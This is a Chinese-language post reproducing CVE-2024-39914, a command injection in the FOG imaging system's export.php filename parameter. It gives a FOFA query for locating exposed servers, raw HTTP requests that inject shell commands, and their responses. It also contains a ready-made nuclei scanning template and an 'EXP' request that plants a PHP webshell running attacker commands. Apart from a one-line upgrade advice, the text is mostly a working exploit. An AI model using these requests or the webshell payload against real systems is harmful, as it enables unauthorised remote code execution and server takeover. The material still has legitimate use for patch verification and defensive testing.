【在野】CVE-2024-39914 漏洞复现 poc exp

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01

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漏洞名称

FOG 在 /fog/management/export.php 中存在命令注入漏洞

02

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漏洞影响

FOG < 1.5.10.34版本

03

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漏洞描述

FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。

04

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FOFA搜索语句

body="FOG Project"

05

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漏洞复现

第一步，打开首页瞅一眼

第二步，向靶场发送如下数据包，核心是向qzjtyryy.php文件写入随机字符串echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php

POST /fog/management/export.php?filename=$(echo+'kpvyggzrnonvuycaipvl'+>+qzjtyryy.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Length: 25
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

响应内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate
Content-Disposition: attachment; filename=$(echo 'kpvyggzrnonvuycaipvl' > qzjtyryy.php).pdf
Content-Security-Policy: default-src 'none';script-src 'self' 'unsafe-eval';connect-src 'self';img-src 'self' data:;style-src 'self' 'unsafe-inline';font-src 'self';
     Content-Type: application/pdf
Date: Fri, 19 Jul 2024 01:20:08 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
Set-Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j; path=/
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Powered-By: PHP/7.2.24
X-Xss-Protection: 1; mode=block

第三步，访问回显文件

GET /fog/management/qzjtyryy.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
Cookie: PHPSESSID=9k547umgoipd3k1giph5bh287j

响应内容如下

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Date: Fri, 19 Jul 2024 01:20:08 GMT
Server: Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24
kpvyggzrnonvuycaipvl

漏洞复现成功

参考链接

https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j

06

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nuclei poc

poc文件内容如下

id: CVE-2024-39914
info:
  name: FOG 在 /fog/management/export.php?filename= 中存在命令注入漏洞
  author: fgz
  severity: critical
  description: FOG是一款克隆/成像/救援套件/库存管理系统。在版本低于1.5.10.34的情况下，FOG中的packages/web/lib/fog/reportmaker.class.php文件受到命令注入漏洞的影响，该漏洞存在于/fog/management/export.php的文件名参数中。此漏洞已在版本1.5.10.34中得到修复。
  metadata:
    max-request: 1
    fofa-query: body="FOG Project"
    verified: true
variables:
  file_name: "{{to_lower(rand_text_alpha(8))}}"
  file_content: "{{to_lower(rand_text_alpha(20))}}"
  rboundary: "{{to_lower(rand_text_alpha(29))}}"
requests:
  - raw:
      - |+
        POST /fog/management/export.php?filename=$(echo+'{{file_content}}'+>+{{file_name}}.php)&type=pdf HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        fogguiuser=fog&nojson=2
      - |
        GET /fog/management/{{file_name}}.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Accept-Encoding: gzip
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{file_content}}')"

07

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EXP

写入webshell

POST /fog/management/export.php?filename=$(echo+'<?php+echo+shell_exec($_GET['"'cmd'"']);+?>'+>+rce.php)&type=pdf HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 fogguiuser=fog&nojson=2

08

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修复建议

升级到最新版本。漏洞利用成本非常低，请尽快修复。

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